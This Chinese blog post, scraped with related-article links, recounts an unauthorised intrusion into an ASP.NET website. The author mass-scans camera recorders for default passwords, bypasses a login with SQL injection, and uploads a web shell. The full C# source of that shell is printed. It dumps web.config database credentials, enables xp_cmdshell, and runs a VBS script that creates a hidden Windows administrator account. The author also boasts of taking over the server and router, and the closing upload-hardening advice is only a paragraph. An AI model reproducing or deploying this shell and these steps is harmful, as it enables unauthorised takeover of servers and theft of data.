记一次ASP.NET网站的入侵和如何避免被入侵

首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序

前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。

玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:

最开始我是测试弱口令,

admin  amdin  等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了。。。。

但发现登陆进来后报错了,,, 想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了

当然如果入侵只到这 你肯定会绝对弱爆了。。。其实当然也是,因为我拿下了他的数据和程序。。。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由 器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向,端口镜像等等

下面我开始介绍主要入侵页面,文件上传页面

自己写了个ashx页面,上传

代码很简单,就是读取网站的web.config文件然后以文本形式输出,

我先简单说下入侵流程:

1、读取web.config得到数据库连接

2、利用SQL Server执行命令添加Windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)

我贴出我上传的ashx文件代码:


  1. <%@ WebHandler Language="C#" Class="TextLd" %> 
  2. using System; 
  3. using System.Collections.Generic; 
  4. using System.Linq; 
  5. using System.Web; 
  6. using System.Data.SqlClient; 
  7.  
  8.     public class TextLd : IHttpHandler 
  9.     { 
  10.         public void CreateLocalUser(string newPath) 
  11.         { 
  12.             System.Diagnostics.Process.Start(@"d:\1.vbs"); 
  13.             System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
  14.         } 
  15.         public void ShowWebConfig(HttpContext context) 
  16.         { 
  17.             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
  18.         } 
  19.         public void WriteVbs(HttpContext context) 
  20.         { 
  21.             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
  22.         } 
  23.         public void ExecuteSql(string connection, string sql) 
  24.         { 
  25.             using (SqlConnection con = new SqlConnection(connection)) 
  26.             { 
  27.                 using (SqlCommand commd = new SqlCommand(sql, con)) 
  28.                 { 
  29.                     con.Open(); 
  30.                     commd.ExecuteNonQuery(); 
  31.                     con.Close(); 
  32.                 } 
  33.             } 
  34.         } 
  35.         public void ProcessRequest(HttpContext context) 
  36.         { 
  37.             context.Response.ContentType = "text/plain"; 
  38.             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
  39.             try 
  40.             { 
  41.                 var connection = context.Request.QueryString["connection"]; 
  42.                 switch (context.Request.QueryString["method"]) 
  43.                 { 
  44.                     case "1": WriteVbs(context); break; 
  45.                     case "2": 
  46.                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure"); 
  47.                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell 
  48.                         break; 
  49.                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 
  50.                         break; 
  51.                     default: 
  52.                         ShowWebConfig(context); 
  53.                         break; 
  54.                 } 
  55.             } 
  56.             catch (Exception ex) 
  57.             { 
  58.                 context.Response.Write(ex.Message); 
  59.             } 
  60.             context.Response.End(); 
  61.         } 
  62.         public bool IsReusable 
  63.         { 
  64.             get 
  65.             { 
  66.                 return false; 
  67.             } 
  68.         } 
  69.     } 

然后一次执行,就这样服务器就被我拿下了。。。  建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

然后弄干啥,大家都知道的。。。。

当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了。。。 什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?

好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。
所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法。。。

小学文化的我伤不起啊。。。。 哎 。。。  原谅我文采不好   你们将就着看吧-.-!

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索密码
, 文件
, 海康威视
, context
, connection
, system
, 海康硬盘录像机dll
, 海康摄像机
, 海康威视sdkc++控件
, 海康威视web二次开发
GetObject
,以便于您获取更多的相关知识。

时间: 2024-09-20 05:54:42

记一次ASP.NET网站的入侵和如何避免被入侵的相关文章

剖析网站遭遇的黑客的三次入侵

随着教育信息化进程的推进,各类教育网站大量涌现.由于教育网站大多是学校计算机教师自己开发管理的小型网站,普通存在着设备.技术.专业人员不足的问题,网站自身存在漏洞,常常成为黑客攻击的目标,严重影响了正常业务的开展.这里,笔者希望通过对教育网站所遭遇的三次黑客入侵的剖析,来分析黑客常用的入侵方法和手段. 第一次遭遇入侵 1. 入侵现象:2004年春节,网站的公告栏上突然出现"此论坛有漏洞,请管理员修复"的内容,并被粘贴了一张图片. 2. 处理问题的过程:首先想到的是以为存在某个Windo

剖析网站遭遇的黑客的三次入侵_漏洞研究

[简 介]  随着教育信息化进程的推进,各类教育网站大量涌现.由于教育网站大多是学校计算机教师自己开发管理的小型网站,普通存在着设备.技术.专业人员不足的问题,网站自身存在漏洞,常常成为黑客攻击的目标,严重影响了正常业务的开展.这里,笔者希望通过对教育网站所遭遇的三次黑客入侵的剖析,来分析黑客常用的入侵方法和手段.      随着教育信息化进程的推进,各类教育网站大量涌现.由于教育网站大多是学校计算机教师自己开发管理的小型网站,普通存在着设备.技术.专业人员不足的问题,网站自身存在漏洞,常常成为

asp.net中英切换-ASP.NET网站实现中英切换

问题描述 ASP.NET网站实现中英切换 请问用ASP.NET做的网站怎么实现中英切换的功能?求大神指点,多谢! 解决方案 http://www.cnblogs.com/wenjl520/archive/2010/10/17/1853367.htmlhttp://www.codeproject.com/Articles/38907/ASP-NET-Localization-Quick-Reference 解决方案二: 如何实现ASP.NET网站个性化在ASP.NET网站中实现带列表的视频播放在A

工具-怎么在vs2013中进行asp.net网站配置

问题描述 怎么在vs2013中进行asp.net网站配置 这个工具好像在以前的版本上有的,在vs2013中没找到,改怎么办呢?在百度上搜过,没看懂,求高人指点 解决方案 对了电脑操作系统是win8 解决方案二: 你要配置什么呢??? 解决方案三: 解决方案四: VS2013取消了从GUI上访问Web配置工具的功能,必须使用控制台启用 参考 http://blogs.msdn.com/b/webdev/archive/2013/08/19/asp-net-web-configuration-too

asp.net 网站运行很慢 很慢 为什么会这样 应该设置什么? 怎么设置呢?

问题描述 asp.net 网站运行很慢 很慢 为什么会这样 应该设置什么? 怎么设置呢? asp.net 网站运行很慢很慢 是什么原因? 应该设置什么? 怎么设置呢? 解决方案 这个原因多了去了,比如感染了360等流氓软件,甚至是cpu散热不好.重装系统看看,再不行就是硬件问题. 解决方案二: 是啊,这个原因多了去了,再问一下,你网站快过没有?所有人浏览你网站都慢吗?电信.移动都很慢吗?不是的话,那问题不在服务器.你服务器放在哪儿呢?国外?是的话,那正常.如果在国内,你可以访问一下同IP段其他网

IIS7下Asp.net网站优化站点性能技巧

首先我们要学一些优化网站性能和体验的理论和基础知识,雅虎已经帮我们总结好了,详见参考链接中的几篇文章,有好心人已经给翻译成中文了. Web服务器的性能优化有很多资料介绍了,多台主机负载均衡,查询结果的多级缓存,数据库索引优化等都是常见的优化手段.随着后端优化空间越来越小,现在越来越多的网站更注重前端性能的优化,就是浏览器,http层面的优化,这里写两点最简单最有效的asp.net网站优化技巧. 了解常见的网站性能优化技巧 首先我们要学一些优化网站性能和体验的理论和基础知识,雅虎已经帮我们总结好了

用ASP编写网站流量统计系统

流量|统计|流量|统计     在目前的网站统计系统决大部分都是CGI的,但编写起来特别复杂,而ASP学起来简单,更有和数据库结合的优点,所以结合自己曾经做过的网站统计系统,和大家探讨一下ASP编写网站统计系统. 大家都看过网易的网站统计系统,它可以统计总访问量,每日平均访问量,当日访问量,最高访问量,最高访问日期,日流量分析,月流量分析,周流量分析,浏览器分析,等等. 其实要做一个ASP的访问统计系统关键是系统表结构的设计.以及如何来采集用户的CGI变量,如何来显示用户的信息.也就是说系统的关

ASP编写网站流量统计系统研究

流量|统计 ASP学起来简单,更有和数据库结合的优点,所以结合自己曾经做过的网站统计系统,和大家探讨一下ASP编写网站统计系统. 大家都看过网易的网站统计系统,它可以统计总访问量,每日平均访问量,当日访问量,最高访问量,最高访问日期,日流量分析,月流量分析,周流量分析,浏览器分析,等等. 其实要做一个ASP的访问统计系统关键是系统表结构的设计.以及如何来采集用户的CGI变量,如何来显示用户的信息.也就是说系统的关键是两个ASP程序,统计程序和显示程序. 首先我们先看看如何来采集用户的访问信息.

用Dreamweaver实现ASP动态网站建设

dreamweaver|动态|网站建设 Macromedia Dreamweaver MX 是一款专业的 HTML 编辑器,用于对 Web 站点.Web 页和 Web 应用程序进行设计.编码和开发.无论您愿意享受手工编写 HTML 代码时的驾驭感还是偏爱在可视化编辑环境中工作,Dreamweaver 都会为您提供有用的工具,使您拥有更加完美的 Web 创作体验. Dreamweaver 使您可以使用服务器技术(例如 CFML.ASP.NET.ASP.JSP 和 PHP)生成由动态数据库支持的 W